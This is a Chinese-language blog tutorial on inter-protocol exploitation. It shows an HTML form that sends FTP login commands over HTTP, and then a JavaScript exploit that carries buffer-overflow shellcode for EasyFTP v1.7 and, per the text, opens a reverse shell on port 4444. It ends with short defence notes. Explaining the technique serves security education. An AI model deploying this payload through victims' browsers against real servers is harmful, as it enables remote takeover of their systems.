- A+
# 什么是跨协议通信#
跨协议通信技术(Inter-Protocol Communication)是指两种不同的协议可以交换指令和数据的技术。其中一种称为目标协议,另外一种称为载体协议。目标协议就是我们最终想要通信的协议,而载体协议是用来封装我们最后想要发送的指令和数据。
这种类型的通信想要完成有两个必要条件:
1. 目标协议必须容错性比较好.这是因为我们是通过一个载体协议来传输指令的,这样就很可能会掺杂一些目标协议无法识别的指令。
2. 载体协议能够封装目标协议的指令.即使目标协议无法识别所有封装过的指令,也必须能够识别最终要的部分指令。
# 如何利用跨协议通信 #
跨协议漏洞利用(Inter-Protocol Expoitation)是通过一种协议去攻击运行另外一种协议的服务。
大家最关注的还是载体协议是HTTP的时候,因为这样攻击者就可以通过人人都有浏览器来发起攻击了。这种类型的攻击可以让攻击者访问到本来只有受害者才有权访问的资源和服务(比如内网不对外开放的服务)。这个过程中受害者充当了一个傀儡的角色,接收并执行了有风险的代码.
一些用换行来作为命令分隔符的协议,比如SMTP,POP3,IRC和FTP都会受这种攻击的影响.这是因为当目标协议处理多行数据的时候是一行一行单独处理的.而这些协议的容错性都比较好.这就使得这些协议忽略掉识别不了的行,只执行可以识别的代码.
为了更好的理解跨协议通信,我们来看一个简单的例子.
# 示例一:通过HTTP连接FTP服务器 #
通过浏览器连接ftp服务器非常简单,一个HTTP POST请求就可以了.下面是一个连接本机的FTP服务器的代码.
<form method='POST' action='http://localhost:21' enctype='multipart/form-data'> <input type='hidden' name='a' value='user secforce'> <input type='hidden' name='a' value='pass secforce'> <input type='submit'> </form>
假设这个FTP用户密码存在的话,提交这个表单就可以登录到FTP服务器了.是不是很简单.
具体发送的POST请求数据包如下:
POST / HTTP/1.1 Host: 127.0.0.1:21 User-Agent: Mozilla/5.0 (X11; Debian; Linux x86_32; rv:16.0) Gecko/20110007 Firefox/20.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-gb,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------63079936718166855021600323653 Content-Length: 304 -----------------------------63079936718166855021600323653 Content-Disposition: form-data; name="a" user secforce -----------------------------63079936718166855021600323653 Content-Disposition: form-data; name="a" pass secforce -----------------------------63079936718166855021600323653--
我们接收到返回数据如下.所有的50X错误对应服务器无法识别的HTTP行.FTP服务器忽略了他们,执行了它可以识别的命令.
220--------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220-Local time is now 12:41. Server port: 21. 220-This is a private system - No anonymous login 220 You will be disconnected after 15 minutes of inactivity. 530 You aren't logged in 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 331 User secforce OK. Password required 500 ? 500 ? 500 ? 230 OK. Current directory is / 500 ?
自己测试的话你可能发现并不是所有的FTP命令都正常工作.像MKD/RMD和DEL工作正常,GET/PUT,RETR/STOR无法正常工作.这是因为FTP是一种带外(out-of-band)协议,它的数据和控制指令是通过不同的TCP端口传送的.事实上,如果你尝试用STOR命令上传一个文件到服务器上,会发现在服务器上创建了一个同名的空文件.这是因为在文件开始传输数据之前先创建一个空文件,所有的命令都不需要一个单独的数据连接就可以工作。
让我们看一个更加有趣的例子。
# 示例2:通过HTTP溢出FTP服务器反弹shell #
这个例子中我们使用EasyFTP v1.7,这个版本存在一个MKD命令的缓冲区溢出漏洞.需要注意的是这个命令不需要一个额外的数据连接通道就可以成功执行.我们在虚拟机里搭建好服务器(192.168.1.10),创建"anonymous"用户.因为成功利用这个漏洞的前提是先登录到FTP服务器.
因为没有必要重复造轮子,这里我们直接使用一个公开的漏洞利用代码(参考资料[1]])来构造POST请求.这次使用javascript来发送shellcode到FTP服务器.为了成功发送shellcode,我们使用了sendAsBinary函数,详情参考资料[2][3].
最后的函数如下:
function exploit(){ var url = 'http://192.168.1.10:21' var intro = 'USER anonymous\r\nPASS anonymous\r\n' var payload = 'MKD \x89\xe7\x81\xef\x10\xfe\xff\xff\xc7\x07\x13\x57\x7e\xd6\x81\xc7 \x14\xff\xff\xff\xff\xe7\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43 \xba\xae\x16\xd0\x74\xd9\xcc\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x4f \x31\x56\x14\x83\xee\xfc\x03\x56\x10\x4c\xe3\x2c\x9c\x19\x0c\xcd \x5d\x79\x84\x28\x6c\xab\xf2\x39\xdd\x7b\x70\x6f\xee\xf0\xd4\x84 \x65\x74\xf1\xab\xce\x32\x27\x85\xcf\xf3\xe7\x49\x13\x92\x9b\x93 \x40\x74\xa5\x5b\x95\x75\xe2\x86\x56\x27\xbb\xcd\xc5\xd7\xc8\x90 \xd5\xd6\x1e\x9f\x66\xa0\x1b\x60\x12\x1a\x25\xb1\x8b\x11\x6d\x29 \xa7\x7d\x4e\x48\x64\x9e\xb2\x03\x01\x54\x40\x92\xc3\xa5\xa9\xa4 \x2b\x69\x94\x08\xa6\x70\xd0\xaf\x59\x07\x2a\xcc\xe4\x1f\xe9\xae \x32\xaa\xec\x09\xb0\x0c\xd5\xa8\x15\xca\x9e\xa7\xd2\x99\xf9\xab \xe5\x4e\x72\xd7\x6e\x71\x55\x51\x34\x55\x71\x39\xee\xf4\x20\xe7 \x41\x09\x32\x4f\x3d\xaf\x38\x62\x2a\xc9\x62\xeb\x9f\xe7\x9c\xeb \xb7\x70\xee\xd9\x18\x2a\x78\x52\xd0\xf4\x7f\x95\xcb\x40\xef\x68 \xf4\xb0\x39\xaf\xa0\xe0\x51\x06\xc9\x6b\xa2\xa7\x1c\x3b\xf2\x07 \xcf\xfb\xa2\xe7\xbf\x93\xa8\xe7\xe0\x83\xd2\x2d\x97\x84\x45\x62 \xb8\x1a\x92\x12\xbb\x1a\x8b\xbe\x32\xfc\xc1\x2e\xec\x41\x40\x00 \x3e\x23\x1f\x17\x95\xa3\xbc\x8a\x72\x33\xca\xb6\x2c\x64\x9b\x09 \x25\xe0\x31\x33\x9f\x16\xc8\xa5\xd8\x92\x17\x16\xe6\x1b\xd5\x22 \xcc\x0b\x23\xaa\x48\x7f\xfb\xfd\x06\x29\xbd\x57\xe9\x83\x17\x0b \xa3\x43\xe1\x67\x74\x15\xee\xad\x02\xf9\x5f\x18\x53\x06\x6f\xcc \x53\x7f\x8d\x6c\x9b\xaa\x15\x8c\x7e\x7e\x60\x25\x27\xeb\xc9\x28 \xd8\xc6\x0e\x55\x5b\xe2\xee\xa2\x43\x87\xeb\xef\xc3\x74\x86\x60 \xa6\x7a\x35\x80\xe3' var req = new XMLHttpRequest(); req.open('POST', url, true); req.setRequestHeader('Content-Type', 'text/plain'); req.setRequestHeader('Content-Length', '20'); req.sendAsBinary(intro + payload + '\r\n'); // neat way to send hexadecimal code through HTTP }
这里的payload选用了反弹shell到我们自己主机的端口4444.然后用nc监听.当在浏览器中访问嵌入了上面js代码的网页时.奇迹发生了.
# 如何防御攻击 #
1. 屏蔽端口.默认情况下,大部分浏览器会拒绝连接到一些著名的端口,比如21/FTP,25/SMTP等.这种保护方式可以通过修改浏览器配置或者使用非标准端口突破.
2. 更少的容错性.一些协议接受到无法识别的命令的时候会关闭连接.这样子降低了灵活性但是增强了抵御跨协议攻击的能力.更好一点的做法是连续接收到无法识别的命令后关闭连接.
## 结论 ##
正如上面提到的,这种攻击方式有很多限制.通常情况下,想要达到同样的结果有很多比跨协议攻击更好的方式.但是在特定的环境下,这种类型的攻击是一种很有效的攻击方式.
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫